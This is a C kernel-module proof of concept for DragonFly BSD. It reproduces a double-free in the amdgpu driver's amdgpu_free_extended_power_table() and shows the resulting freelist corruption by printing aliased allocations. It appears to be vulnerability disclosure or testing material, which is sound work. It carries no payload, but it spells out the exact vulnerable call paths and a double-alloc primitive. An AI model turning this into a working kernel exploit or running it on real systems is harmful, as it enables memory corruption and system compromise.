DF-4525 / df4525demo.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | /* * DF-4525 PoC โ amdgpu_free_extended_power_table() double-free. * * Reproduces on the running kernel the EXACT call sequence the amdgpu * error/teardown paths perform when amdgpu_parse_extended_power_table() * hits an allocation failure after some dyn_state tables were already * allocated and freed internally: * * 1st free: amdgpu_dpm.c:393 (internal error path, frees everything, * leaves dangling pointers โ amdgpu_free_extended_power_table * never NULLs) * 2nd free: ci_dpm.c:5877 or ci_dpm.c:6321 (ci), si_dpm.c:7729 (si), * kv_dpm.c:3035 (kv) โ caller fini paths that free the same * dangling pointers again. * * The demo calls the REAL amdgpu_free_extended_power_table() exported by * the stock /boot/kernel/amdgpu.ko (no code is copied), on a fabricated * struct amdgpu_device whose dyn_state table pointers were allocated the * same way amdgpu_parse_clk_voltage_dep_table() allocates them * (kmalloc(M_DRM, M_WAITOK|M_CACHEALIGN|M_ZERO)). * * Observation: after the double free, fresh allocations of the same size * class return the SAME chunk to two different owners (freelist * corruption -> double-alloc primitive). * * DragonFly 6.5-DEVELOPMENT guest, no AMD hardware needed for this * function-level reproduction (the function only touches dyn_state). */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include "amdgpu.h" #include "amdgpu_dpm.h" #define TBL_SZ 64 /* same size class as a small dep table (u8 count * 8B) */ static int df4525_event(module_t mod __unused, int type, void *arg __unused) { struct amdgpu_device *adev; void *e1, *e2, *a, *b, *c, *d; switch (type) { case MOD_LOAD: break; default: return (EOPNOTSUPP); } adev = kmalloc(sizeof(*adev), M_DRM, M_WAITOK | M_ZERO); /* what amdgpu_parse_clk_voltage_dep_table() does at amdgpu_dpm.c:290 */ e1 = kmalloc(TBL_SZ, M_DRM, M_WAITOK | M_ZERO | M_CACHEALIGN); e2 = kmalloc(TBL_SZ, M_DRM, M_WAITOK | M_ZERO | M_CACHEALIGN); adev->pm.dpm.dyn_state.vddc_dependency_on_sclk.entries = e1; adev->pm.dpm.dyn_state.vddc_dependency_on_sclk.count = 8; adev->pm.dpm.dyn_state.vddci_dependency_on_mclk.entries = e2; adev->pm.dpm.dyn_state.vddci_dependency_on_mclk.count = 8; kprintf("DF-4525: sizeof(struct amdgpu_device)=%zu adev=%p\n", sizeof(*adev), adev); kprintf("DF-4525: allocated vddc_entries=%p vddci_entries=%p\n", e1, e2); /* ---- 1st free: internal error path (amdgpu_dpm.c:393 etc.) ---- */ amdgpu_free_extended_power_table(adev); kprintf("DF-4525: after 1st free: vddc=%p vddci=%p\n", adev->pm.dpm.dyn_state.vddc_dependency_on_sclk.entries, adev->pm.dpm.dyn_state.vddci_dependency_on_mclk.entries); /* ---- 2nd free: caller fini path (ci_dpm.c:5877/6321, si/kv) ---- */ amdgpu_free_extended_power_table(adev); kprintf("DF-4525: after 2nd free: DOUBLE KFREE PERFORMED\n"); /* * Observe the corrupted freelist: the freed chunks now sit twice on * the per-CPU zone free list, so allocations handed out downstream * alias. We allocate 4 chunks of the same class and look for * duplicates (expected a==c and/or b==d). */ a = kmalloc(TBL_SZ, M_DRM, M_WAITOK | M_ZERO | M_CACHEALIGN); b = kmalloc(TBL_SZ, M_DRM, M_WAITOK | M_ZERO | M_CACHEALIGN); c = kmalloc(TBL_SZ, M_DRM, M_WAITOK | M_ZERO | M_CACHEALIGN); d = kmalloc(TBL_SZ, M_DRM, M_WAITOK | M_ZERO | M_CACHEALIGN); kprintf("DF-4525: re-alloc a=%p b=%p c=%p d=%p\n", a, b, c, d); kprintf("DF-4525: a==c: %s b==d: %s\n", (a == c) ? "YES" : "no", (b == d) ? "YES" : "no"); if (a == c || b == d) kprintf("DF-4525: *** DOUBLE-ALLOC CONFIRMED: same chunk owned " "by two allocations (freelist corruption) ***\n"); else kprintf("DF-4525: no duplicate observed this run " "(zone state dependent)\n"); /* * Leak the probes deliberately: freeing aliased chunks would just * corrupt the freelist further. Guest is reset right after the run. */ return (0); } static moduledata_t df4525_mod = { "df4525demo", df4525_event, NULL }; DECLARE_MODULE(df4525demo, df4525_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); /* NOTE: no MODULE_DEPEND on amdgpu (its registered version doesn't * satisfy a version-1 dependency); the stock amdgpu.ko is kldload'ed * before this module so the linker resolves * amdgpu_free_extended_power_table() from it directly. */ |